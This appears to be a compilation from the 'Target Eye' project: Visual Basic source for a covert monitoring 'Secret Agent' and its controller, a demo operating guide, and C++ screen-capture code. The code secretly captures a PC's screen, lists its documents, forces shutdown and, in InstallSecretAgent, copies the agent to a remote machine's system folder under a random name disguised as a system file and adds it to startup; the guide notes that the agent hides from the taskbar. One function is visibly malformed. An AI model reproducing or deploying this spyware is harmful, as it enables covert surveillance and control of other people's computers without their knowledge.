' DestFileName as String    -   a file used for the next packet
' AgentID as Integer        -   a squencal number used to identify the agent
'                               among the other agents
' Resend as Boolean         -   states if the image is being resent
' =============================================================================
Static Sub TE_NewSendPict(PictFileName As String, DestFileName As String, AgentID As Integer, Resend As Boolean)
' =============================================================================
'   Local Variables
' =============================================================================
    Dim TEType() As Byte            '   used to store the PacketID
    Dim Rest() As Byte              '   used to store the Packet data
    Dim CurrentPlace As Long        '   used to store the current place within the file
    Dim ReportSize As Long          '   used to store the packet size which is encripted in the PacketID
    Dim PacketSize As Long          '   used to store the packet size
' =============================================================================
'   Static Variables
' =============================================================================
    Static LastRest() As Byte       '   used for comparing current and previous images
    Static CountBytes As Long       '   a counter for bytes sent so far
    Static CountPackets As Integer  '   a counter for the number of packets sent
    Static FileSize As Long         '   used to store the size of the image file
' =============================================================================
'    Preperations
' =============================================================================
    ReDim TEType(1 To 10)            '   allocate memory to hold PacketID

                                    '   open destenation file (the packet to be created
    Close #11: Open DestFileName For Binary Access Write As #11
' =============================================================================
'   Check agent mode.
'   If it is in Ready mode -> create a packet from the begining of the file
'   If it is in PacketWaiting mode -> create a packet from the middle of the file
' =============================================================================
    If AgentMe.State = AgentReady Then
        ' =============================================================================
        ' Create a packet for a new image (1st packet or a single packet)
        ' =============================================================================
        '
        '   INITIALIZATION
        CountBytes = 0
        CountPackets = 0
        '   Compare pict to last saved one
        If TECompare(PictFileName) Then
            Close #11
            DeleteFile DestFileName
            Exit Sub
        End If
        '   open source file (image)
        '   The image is opened only one and remains open until last packet is sent
        Close #12: Open PictFileName For Binary Access Read As #12
        '   Check size of the entire image file
        FileSize = LOF(12)
        AgentMe.CurrentImageSize = LOF(12)
        '
        '   Determining whether the image fit in a single packet?
        '   (Either the image is equal or smaller to the maximum packet
        '   size defined, or the packet mechanism isn't activated
        '   =============================
        If FileSize <= DefPacketSize Then
        '   =============================
            'The image will it be entirely transformed into a single packet
            'Packet type is "SingleFile"
            TEType(1) = Packet_SingleFile
            'PacketID is created from 2 digits:
            '   1   -   AgentID
            '   2   -   The sequencial number of the packet
            '
            TEType(2) = CByte(CountPackets + AgentID * 10)
            '   Allocate memory for the packet to be created
            ReDim Rest(1 To FileSize)
        '   =============================
        Else
        '   =============================
            'The first packet will be created
            'Packet type is "NewFile"
            TEType(1) = Packet_NewFile
            'PacketID is created from 2 digits:
            '   1   -   AgentID
            '   2   -   The sequencial number of the packet
            TEType(2) = CByte(CountPackets + AgentID * 10)
            '   Allocate memory for the packet to be created
            ReDim Rest(1 To DefPacketSize)
            '
            AgentMe.State = PacketWaiting
        '   =============================
        End If
        '   =============================
    ElseIf AgentMe.State = PacketWaiting Then
        'Continuing Picture
        '
        'Calculate current place within the input file
        CurrentPlace = Seek(12)
        '
        ' Can this packet contain the rest of the file
        ' ==============================================
        If FileSize - CurrentPlace <= DefPacketSize Then
        ' ==============================================
            'Packet type is "EndFile"
            TEType(1) = Packet_EndFile
            'PacketID is created from 2 digits:
            '   1   -   AgentID
            '   2   -   The sequencial number of the packet
            TEType(2) = CByte(CountPackets + AgentID * 10)
            '   Allocate memory for the packet to be created
            ReDim Rest(1 To FileSize - CurrentPlace + 1)
            '
            AgentMe.State = AgentReady
        ' ==============================================
        Else
        ' ==============================================
            'Will there be more packets
            'Packet type is "ContFile"
            TEType(1) = packet_ContFile
            'PacketID is created from 2 digits:
            '   1   -   AgentID
            '   2   -   The sequencial number of the packet
            TEType(2) = CByte(CountPackets + AgentID * 10)
            '   Allocate memory for the packet to be created
            ReDim Rest(1 To DefPacketSize)
        ' ==============================================
        End If
        ' ==============================================
    End If
    ' READ  ============================================================
    Get #12, , Rest
    ' Check if there are changes in source image
    Debug.Print "Get "; UBound(Rest); " bytes from "; PictFileName
    ' WRITE ============================================================
    ReportSize = CLng(UBound(Rest))
    CopyMemory TEType(3), ReportSize, 4
    CopyMemory TEType(7), FileSize, 4
    Put #11, , TEType
    AgentMe.CurrentPacketNum = CountPackets
    AgentMe.CurrentImageSent = CountBytes
    Debug.Print "put "; UBound(TEType); " bytes to "; DestFileName; " PID = "; TEType(2); " Packet # "; CountPackets + AgentID * 10
    ' ==================================================================
    CountBytes = CountBytes + UBound(Rest) - LBound(Rest) + 2
    If Not Resend Then CountPackets = CountPackets + 1
    ' WRITE ============================================================
    Put #11, , Rest
    Debug.Print "put "; UBound(Rest); " bytes to "; DestFileName; " PID = "; TEType(2); " Packet # "; CountPackets + AgentID * 10
    ' ==================================================================
    Close #11
    Open DestFileName For Binary Access Read As #11
    Debug.Print "Total size of packet is "; LOF(11)
    Close #11

    If TEType(1) = Packet_EndFile Or TEType(1) = Packet_SingleFile Then
'        Debug.Print "Total wrote: "; CountBytes; " Total read: "; FileSize; " # of packets: "; CountPackets
        CountBytes = 0
        CountPackets = 0
        Close #12
'        Kill DestFileName           'do this only to test without another PC
    End If
End Sub

Public Sub WriteToLog(s As String)
    Dim FF As Integer
    Dim LogMode
    Exit Sub
    If LogMode = 1 Then
        FF = 99
        On Error GoTo er1
        Open "Ted.log" For Append As #FF
        Print #FF, s
        Close #FF
    Else
'        Debug.Print Format(Now(), "HH:MM:SS ") + s
    End If
    Exit Sub
er1:
    Resume
End Sub

Function PacketType(s As String) As String
    Dim Ftype As Byte
    Dim Fid As Byte
    Dim FSize As Long
    Dim Psize As Long
    Dim TSize As Long
    Close #1
    Open s For Binary Access Read As #1
    Psize = LOF(1)
    Get #1, , Ftype
    Get #1, , Fid
    Get #1, , FSize
    Get #1, , TSize
    Close #1
    Select Case Ftype
        Case Packet_NewFile:

            PacketType = "NewFile"
        Case packet_ContFile:
            PacketType = "ContFile"
        Case Packet_EndFile:
            PacketType = "EndFile"
        Case Packet_SingleFile:
            PacketType = "SingleFile"
    End Select
    Debug.Print "========================================"
    Debug.Print "TYPE: "; PacketType, "PID: "; CStr(Fid)
    Debug.Print "Reported Size: "; FSize + 6, "Real Size: "; Psize; " Total size: "; TSize
    Debug.Print "========================================"
End Function
Public Function TE_DeleteFile(s As String) As Integer
    Dim tries As Integer
    If Dir(s) = "" Then
       ' Debug.Print "The file "; s; " is already deleted"
    End If
1:
    DeleteFile s
    If Dir(s) <> "" Then
        'Debug.Print "Can't delete "; s
        tries = tries + 1
        If tries < 150 Then
            GoTo 1
        Else
            'Debug.Print "Error deleting file "; s
            DeleteFile s
            tries = 0

        End If
    Else
        'Debug.Print "The file "; s; " was deleted"
    End If
End Function

Sub DestroyFile(sFileName As String)
    Dim Block1 As String, Block2 As String, Blocks As Long
    Dim hFileHandle As Integer, iLoop As Long, offset As Long
    On Error GoTo erDl
    'Create two buffers with a specified 'wi
    '     pe-out' characters
    Const BLOCKSIZE = 4096
    Block1 = String(BLOCKSIZE, "X")
    Block2 = String(BLOCKSIZE, " ")
    'Overwrite the file contents with the wi
    '     pe-out characters
    hFileHandle = FreeFile
    Open sFileName For Binary As hFileHandle
    Blocks = (LOF(hFileHandle) \ BLOCKSIZE) + 1
    For iLoop = 1 To Blocks
        offset = Seek(hFileHandle)

        Put hFileHandle, , Block1
        Put hFileHandle, offset, Block2

    Next iLoop
    Close hFileHandle
    'Now you can delete the file, which cont
    '     ains no sensitive data
    DeleteFile sFileName
erDl:
'    Debug.Print "Internal error. Can't delete file "; sFileName
    Resume Next
End Sub

Public Function GetDesktopPath() As String
GetDesktopPath = GetSpecialFolder(CSIDL_DESKTOPDIRECTORY)
End Function
' Declare API functions.

Public Function GetFavoritesPath() As String
GetFavoritesPath = GetSpecialFolder(CSIDL_FAVORITES)
End Function

Private Function GetSpecialFolder(CSIDL As Long) As String

   Dim idlstr As Long
   Dim sPath As String
   Dim IDL As ITEMIDLIST

   Const NOERROR = 0
   Const MAX_LENGTH = 260

   On Error GoTo Err_GetFolder

   ' Fill the idl structure with the specified folder item.
   idlstr = SHGetSpecialFolderLocation _
      (0, CSIDL, IDL)

   If idlstr = NOERROR Then

        ' Get the path from the idl list, and return
        ' the folder with a slash at the end.
        sPath = Space$(MAX_LENGTH)
        idlstr = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal sPath)

           If idlstr Then
             GetSpecialFolder = Left$(sPath, InStr(sPath, Chr$(0)) _
               - 1) & "\"
           End If

   End If

Exit_GetFolder:
    Exit Function
Err_GetFolder:
    MsgBox Err.Description, vbCritical Or vbOKOnly
    Resume Exit_GetFolder

End Function

Function GetStartMenuPath() As String
    GetStartMenuPath = GetSpecialFolder(CSIDL_STARTMENU)
End Function

Function GetTemplatesPath() As String
    GetTemplatesPath = GetSpecialFolder(CSIDL_TEMPLATES)
End Function

Function TECompare(f As String) As Boolean
    Static Last As Boolean
    Static LastDim() As Byte
    Static NewDim() As Byte
    Dim i
    Open f For Binary Access Read As #55
    ReDim NewDim(1 To LOF(55))
    Get #55, , NewDim
    Close #55
    If Last Then
        For i = 1 To UBound(NewDim)
            If LastDim(i) <> NewDim(i) Then
                TECompare = True
                GoTo 1
            End If
        Next
    End If
1:
    LastDim = NewDim
    Debug.Print "Compare = "; TECompare
End Function

Public Sub SendMessageToAgent(AgentName As String, MessageType As TEM, MessageText As String)
    If Dir(NetworkPictFile + AgentName + ".tem") <> "" Then
        Debug.Print "Last message wan't varified"
        Exit Sub
    End If
    Open NetworkPictFile + AgentName + ".tem" For Output As #1
    Print #1, MessageType; "#"; MessageText
    Close #1
End Sub
Public Sub CheckMessages(AgentName As String)
    Dim a$
    Dim cmd As TEM
    Dim Txt As String
    If Dir(NetworkPictFile + AgentName + ".tem") = "" Then
        Debug.Print "There aren't any messages"
        Exit Sub
    End If
    Open NetworkPictFile + AgentName + ".tem" For Input As #1
    Line Input #1, a$
    Close #1
    DeleteFile NetworkPictFile + AgentName + ".tem"
    cmd = Val(Left(a$, InStr(a$, "#") - 1))
    Txt = Mid(a$, InStr(a$, "#") + 1)
    Select Case cmd
        Case DisplayMsg
            ' save original window
            ' set active window to Message
            ActiveWindowPTR = GetForegroundWindow()
            Message.Label1.Caption = Txt
            Message.Show 1
            SetForegroundWindow (ActiveWindowPTR)
            ' set back to original window
        Case Execute
        Case ListFiles
            Dim MyFiles() As String
            Dim i
            FindFile.FindFile "c:\", "*.doc", MyFiles
            For i = 1 To UBound(MyFiles): Debug.Print MyFiles(i): Next
        Case GetFile
        Case SendFile
        Case TargetEyeCMD
        Case WindowsCMD
            Select Case Txt
                Case "TurnOff"
                    Shell "rundll32 user,exitwindows"
                    'ExitWindowsEx 30, 0
                    Exit Sub
            End Select
    End Select
End Sub
Public Sub DoShutDown(f As Form)
    If MsgBox("Warning:" + Chr(13) + "You are about to perform a brutal shutdown on the monitored computer " + f.Tag + Chr(13) + "Are you sure you want to proceed? (the person you are watching, will not have a chance to save any of his work)", vbOKCancel + vbCritical, "Emergency Shutdown") = vbOK Then
        SendMessageToAgent f.Tag, WindowsCMD, "TurnOff"
    End If
End Sub
Public Sub GetFileList(f As Form)
    SendMessageToAgent f.Tag, ListFiles, ""
End Sub
Public Sub DoEM(f As Form)
    Static s As String
    s = InputBox("Please type the message you wish to appear on the screen of " + f.Tag + " or press CANCEL to abort", "Sending a message to the monitored PC", s)
    If s = "" Then Exit Sub
    SendMessageToAgent f.Tag, DisplayMsg, s
End Sub
Public Sub Frm_OnTop(TheForm As Form, OnTop As Boolean)

Dim SetWinOnTop As Long

    If OnTop Then
        SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)
    Else
        SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)
    End If

End Sub

Public Function Connected_To_Net() As Boolean
        Dim phkResult As Long, lpData As Long, lpcbData As Long
        Dim ReturnCode As Long
        Connected_To_Net = False
        ReturnCode = RegOpenKey(&H80000002, _
        "System\CurrentControlSet\Services\RemoteAccess", phkResult)

        If ReturnCode = 0& Then
                lpData = 0&
                lpcbData = 0&
                ReturnCode = RegQueryValueEx(phkResult, _
                "Remote Connection", 0&, 0&, ByVal lpData, lpcbData)
                lpcbData = Len(lpData)
                ReturnCode = RegQueryValueEx(phkResult, _
                "Remote Connection", 0&, 0&, lpData, lpcbData)
                If ReturnCode = 0& And lpData <> 0 _
                Then Connected_To_Net = True
                RegCloseKey (phkResult)
        End If
End Function

Public Function GetNextAgent() As AgentCapture
    ' Generates list of all agents
    Dim f As String
    Dim i
    f = Dir(NetworkPictFile + "*.tei")
    While f <> ""
        Debug.Print f
        For i = 1 To AgentsCapturedCount
            If AgentsCaptured(i).AgentFileName + ".tei" = f Then 'already monitored
               GoTo Lab1
            End If
        Next
        ' found a new one
'        Debug.Print "New one"
        AgentsCapturedCount = AgentsCapturedCount + 1
        AgentsCaptured(AgentsCapturedCount).AgentID = AgentsCapturedCount
        GetNextAgent.AgentName = Left(f, Len(f) - 4)
        GetNextAgent.AgentID = AgentsCapturedCount
        GetNextAgent.AgentFileName = NetworkPictFile + Left(f, Len(f) - 4)
        Exit Function
Lab1:
'        Debug.Print "Old one"
        f = Dir()
    Wend
End Function

'**************************************
' Name: Get Startup Folder
' Description:Gets the startup folder of
'     your system. This version will find your
'     startup folder no matter what Windows OS
'     you are running, and no matter where it
'     is installed.
' By: Don
'
'
' Inputs:None
'
' Returns:Boolean, success or failure
'
'Assumes:None
'
'Side Effects:None
'
'Warranty:
'code provided by Planet Source Code(tm)
'     (http://www.Planet-Source-Code.com) 'as
'     is', without warranties as to performanc
'     e, fitness, merchantability,and any othe
'     r warranty (whether expressed or implied
'     ).
'Terms of Agreement:
'By using this source code, you agree to
'     the following terms...
' 1) You may use this source code in per
'     sonal projects and may compile it into a
'     n .exe/.dll/.ocx and distribute it in bi
'     nary format freely and with no charge.
' 2) You MAY NOT redistribute this sourc
'     e code (for example to a web site) witho
'     ut written permission from the original
'     author.Failure to do so is a violation o
'     f copyright laws.
' 3) You may link to this code from anot
'     her website, provided it is not wrapped
'     in a frame.
' 4) The author of this code may have re
'     tained certain additional copyright righ
'     ts.If so, this is indicated in the autho
'     r's description.
'**************************************

Private Function StartupMenu() As String

    Dim lpStartupPath As String * MAX_PATH
    Dim Pidl As Long
    Dim hResult As Long
    hResult = SHGetSpecialFolderLocation(0, CSIDL_COMMON_STARTUP, Pidl)

    If hResult = 0 Then hResult = SHGetPathFromIDList(ByVal Pidl, lpStartupPath)
        If hResult = 1 Then
            lpStartupPath = Left(lpStartupPath, InStr(lpStartupPath, Chr(0)) - 1)
            StartupMenu = lpStartupPath
        End If
    End If
End Function
'-----------------------------------------------------------
' SUB: CreateShellLink
'
' Creates (or replaces) a link in either Start>Programs or
' any of its immediate subfolders in the Windows 95 shell.
'
' IN: [strLinkPath] - full path to the target of the link
'                     Ex: 'c:\Program Files\My Application\MyApp.exe"
'     [strLinkArguments] - command-line arguments for the link
'                     Ex: '-f -c "c:\Program Files\My Application\MyApp.dat" -q'
'     [strLinkName] - text caption for the link
'     [fLog] - Whether or not to write to the logfile (default
'                is true if missing)
'
' OUT:
'   The link will be created in the folder strGroupName
'-----------------------------------------------------------
'
Public Sub CreateShellLink(ByVal strLinkPath As String, _
         ByVal strGroupName As String, _
         ByVal strLinkArguments As String, _
         ByVal strLinkName As String, _
         ByVal fPrivate As Boolean, _
         sParent As String, _
         Optional ByVal fLog As Boolean = True)
Dim fSuccess As Boolean
Dim intMsgRet As Integer
Dim lREt       As Boolean
   strLinkName = strUnQuoteString(strLinkName)
   strLinkPath = strUnQuoteString(strLinkPath)

   If StrPtr(strLinkArguments) = 0 Then strLinkArguments = ""

   lREt = OSfCreateShellLink(strGroupName, strLinkName, strLinkPath, strLinkArguments, _
         fPrivate, sParent)    'the path should never be enclosed in double quotes

End Sub

Public Function strUnQuoteString(ByVal strQuotedString As String)
'
' This routine tests to see if strQuotedString is wrapped in quotation
' marks, and, if so, remove them.
'
    strQuotedString = Trim$(strQuotedString)

    If Mid$(strQuotedString, 1, 1) = gstrQUOTE Then
        If Right$(strQuotedString, 1) = gstrQUOTE Then
            '
            ' It's quoted.  Get rid of the quotes.
            '
            strQuotedString = Mid$(strQuotedString, 2, Len(strQuotedString) - 2)
        End If
    End If
    strUnQuoteString = strQuotedString
End Function

Public Sub CreateShortCut(path As String, Title As String, Prog As String, Parms As String)
    Dim deskcut As Long
    'deskcut = fCreateShellLink(path, Title, Prog, Parms, -1, "$(Programs)")
    CreateShellLink path, "..", "", Title, True, "$(Programs)"
End Sub
Public Sub InstallSecretAgent(PC As String)
    Dim AgentName As String
    Dim AgentPath As String
    Dim AgentStartup As String
    'get remote PC system directory
    AgentPath = "\\te3\c-te3\windows\system\"             'temporary
    AgentStartup = "\\te3\c-te3\windowsstart menu\programs\startup\"             'temporary
    'create a random name for the secret agent
    AgentName = CreateRNDEXE
    'copy secret agent EXE to remote PC system
    FileCopy App.path + "\TESecretAgent.exe", AgentPath + AgentName
    MsgBox "Agent installed in " + AgentPath + AgentName
    'add a shortcut to the remote PC startup folder
    CreateShortCut App.path + "\", AgentName, AgentPath + AgentName, ""
    'Shell AgentPath + AgentName
End Sub
Public Function CreateRNDEXE() As String
    Randomize Timer
    Dim a(5), b(5) As String
    a(1) = "sys": a(2) = "win": a(3) = "dos": a(4) = "reg": a(5) = "api"
    b(1) = ".com": b(2) = ".dll": b(3) = ".com": b(4) = ".ocx": b(5) = ".sys"
    CreateRNDEXE = a(Int(Rnd(1) * 5) + 1) + Trim(Str(Int(Rnd(1) * 9))) + Trim(Str(Int(Rnd(1) * 9))) + Trim(Str(Int(Rnd(1) * 9))) + b(Int(Rnd(1) * 5) + 1)
End Function

Target Eye Confidential

Operating Target Eye Demo

  1. Target Eye Demo can be used to demonstrate Target Eye on one or more machines, without causing any damage, and with no need to register a new user.

  2. The demo consists of two executable files: NewAgent.EXE and TED.EXE. NewAgent.EXE is the Secret Agent, and TED.EXE is the Controller.

  3. It is advised to run both application from their CD, without copying them to the Computer which is used for the demonstration.

  4. First, run NewAgent.EXE using the Start/Run menu and typing “G:\NewAgent” (assuming G:\ is the CD-ROM), or opening the CD-ROM from the Browser and double-clicking NewAgent.

  5. Second, run TED.EXE the same way.

  6. When the Secret Agent is active, it will not be shown in the Task Bar. There is one way to check it’s existence: Pressing CTRL+ALT+SHIFT+F8. Doing so, will pop-up a message asking you if you wish to terminate the Secret Agent. Choose “NO”., unless you have finished with the demonstration.

  7. The Controller (TED.EXE) opened a main window. Pressing the left most button on the ToolBar, will open a Dialog with the list of all computers connected to the network.
    You need to locate the computer in which you started NewAgent.exe from, and double-click it’s name. As a result, a child window will open and after a few seconds, you will be able to see the distant computer desktop being captured.

  8. You can open more than one window, and show either other agents or agents that are already shown.

  9. You can autoscroll using the mouse.

  10. Using the right mouse button, you can open Popup menus related to the active window:
    - Full Screen will toggle the Full Screen mode.
    – Send Command, enables you to send commands to the agent.

  11. Shut Down. This command demonstrates sending a message to the agent (the message “Good Bye” will appear), and shutting it down, so it is recommended to end the demonstration with this feature.

  12. On the left size, there is a DialogBar that show the currently monitored agents, and bellow, some parameters of each agent.

  13. To switch between Gray Scale mode and Full Color mode, press the appropriate button. Then, there is a delay of around 5 seconds, since the command is sent to the agent and next time an image is captured, the command will affect.

  14. Change the values in the Quality TextBox and see various types of captured images shown.

©2000-2013 Michael Haephrati and Target Eye LTD
All materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.

When I started developing Target Eye, I made several experiments in the procedure which capture the screen at the monitored computer. Here are several of the first results.



 

The first screen capture routine was really simple:
void CSecretAgentApp::SimpleCapture()
{
 
 // This function only works for 24-bit (truecolor) display mode
 // prepare DCs, bitmaps,..   
 HDC hScreenDC = GetWindowDC(0);
 if (hScreenDC==NULL)
 {
  MessageBox(NULL,"Error 1","",MB_OK);
  exit(0);
 }
 HDC hmemDC = CreateCompatibleDC(hScreenDC);   
 if (hmemDC==NULL)
 {
  MessageBox(NULL,"Error 2","",MB_OK);
  ReleaseDC(0, hScreenDC);
  exit(0);
 }
 int ScreenWidth = GetDeviceCaps(hScreenDC, HORZRES);
 int ScreenHeight = GetDeviceCaps(hScreenDC, VERTRES);
 HBITMAP hmemBM = CreateCompatibleBitmap(hScreenDC, ScreenWidth, ScreenHeight);
 if (hmemBM==NULL)
 {
  MessageBox(NULL,"Error 3. Can't create Bitmap","",MB_OK);
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  exit(0);
 }
 SelectObject(hmemDC, hmemBM);   // copy screen to memory DC
 if(!(BitBlt(hmemDC, 0, 0, ScreenWidth, ScreenHeight, hScreenDC, 0, 0, SRCCOPY)))
 {
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  MessageBox(NULL,"Error 4","",MB_OK);
  exit(0);
 }
 // allocate and lock memory for the bitmap data
 HGLOBAL hpxldata = GlobalAlloc(GMEM_FIXED, ScreenWidth * ScreenHeight * 3);
 if (hpxldata == NULL)
 {
  GlobalFree(hpxldata);
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  MessageBox(NULL,"Error 5 Can't allocate memory","",MB_OK);
  exit(0);
 }
 void FAR* lpvpxldata = GlobalLock(hpxldata);   // fill .bmp - structures
 if (lpvpxldata == NULL)
 {
  GlobalUnlock(hpxldata);   
  GlobalFree(hpxldata);
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  MessageBox(NULL,"Error 6","",MB_OK);
  exit(0);
 }
 BITMAPINFO bmInfo;   
 bmInfo.bmiHeader.biSize = 40;
 bmInfo.bmiHeader.biWidth = ScreenWidth;
 bmInfo.bmiHeader.biHeight = ScreenHeight;   
 bmInfo.bmiHeader.biPlanes = 1;
 bmInfo.bmiHeader.biBitCount = 24;   
 bmInfo.bmiHeader.biCompression = 0;
 bmInfo.bmiHeader.biSizeImage = 0;   
 bmInfo.bmiHeader.biXPelsPerMeter = 0;
 bmInfo.bmiHeader.biYPelsPerMeter = 0;   
 bmInfo.bmiHeader.biClrUsed = 0;
 bmInfo.bmiHeader.biClrImportant = 0;   
 BITMAPFILEHEADER bmFileHeader;
 bmFileHeader.bfType = 19778;
 bmFileHeader.bfSize = (ScreenWidth * ScreenHeight * 3) + 40 + 14;
 bmFileHeader.bfReserved1 = 0;   
 bmFileHeader.bfReserved2 = 0;
 bmFileHeader.bfOffBits = 54;   // copy bitmap data into global memory
 GetDIBits(hmemDC, hmemBM, 0, ScreenHeight, lpvpxldata, &bmInfo, DIB_RGB_COLORS);
 // open file and write data
 static CFile bmfile;
 if(!(bmfile.Open("TEA",CFile::modeCreate | CFile::modeWrite)))
 {
  GlobalUnlock(hpxldata);   
  GlobalFree(hpxldata);
  DeleteObject(hmemBM);   
  DeleteDC(hmemDC);   
  ReleaseDC(0, hScreenDC);
  ASSERT("Can't open bitmap file\n");
  return;
 }
 
 
 bmfile.Write(&bmFileHeader, 14);   
 bmfile.Write(&bmInfo, 40);
 bmfile.Write(lpvpxldata, ScreenWidth * ScreenHeight * 3);   // clean up
 bmfile.Close();   
 

 GlobalUnlock(hpxldata);   
 GlobalFree(hpxldata);
 DeleteObject(hmemBM);   
 DeleteDC(hmemDC);   
 ReleaseDC(0, hScreenDC);
 //Shrink("c:\\temp.bit","c:\\temp.bmp");
 strcpy(m_TempPictName,"TEA");
 DeleteFile(m_PacketFileName);
 if (!FileExists(m_PacketFileName)) SendPacket();
 while (m_BytesSent!=0)
 {
  if (!FileExists(m_PacketFileName)) SendPacket();
 }
 
}


©2000-2013 Michael Haephrati and Target Eye LTD
All materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.

Saturday, May 21, 2011

מהלכי הגיוס הראשונים למיזם




©2000-2013 Michael Haephrati and Target Eye LTD
All materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.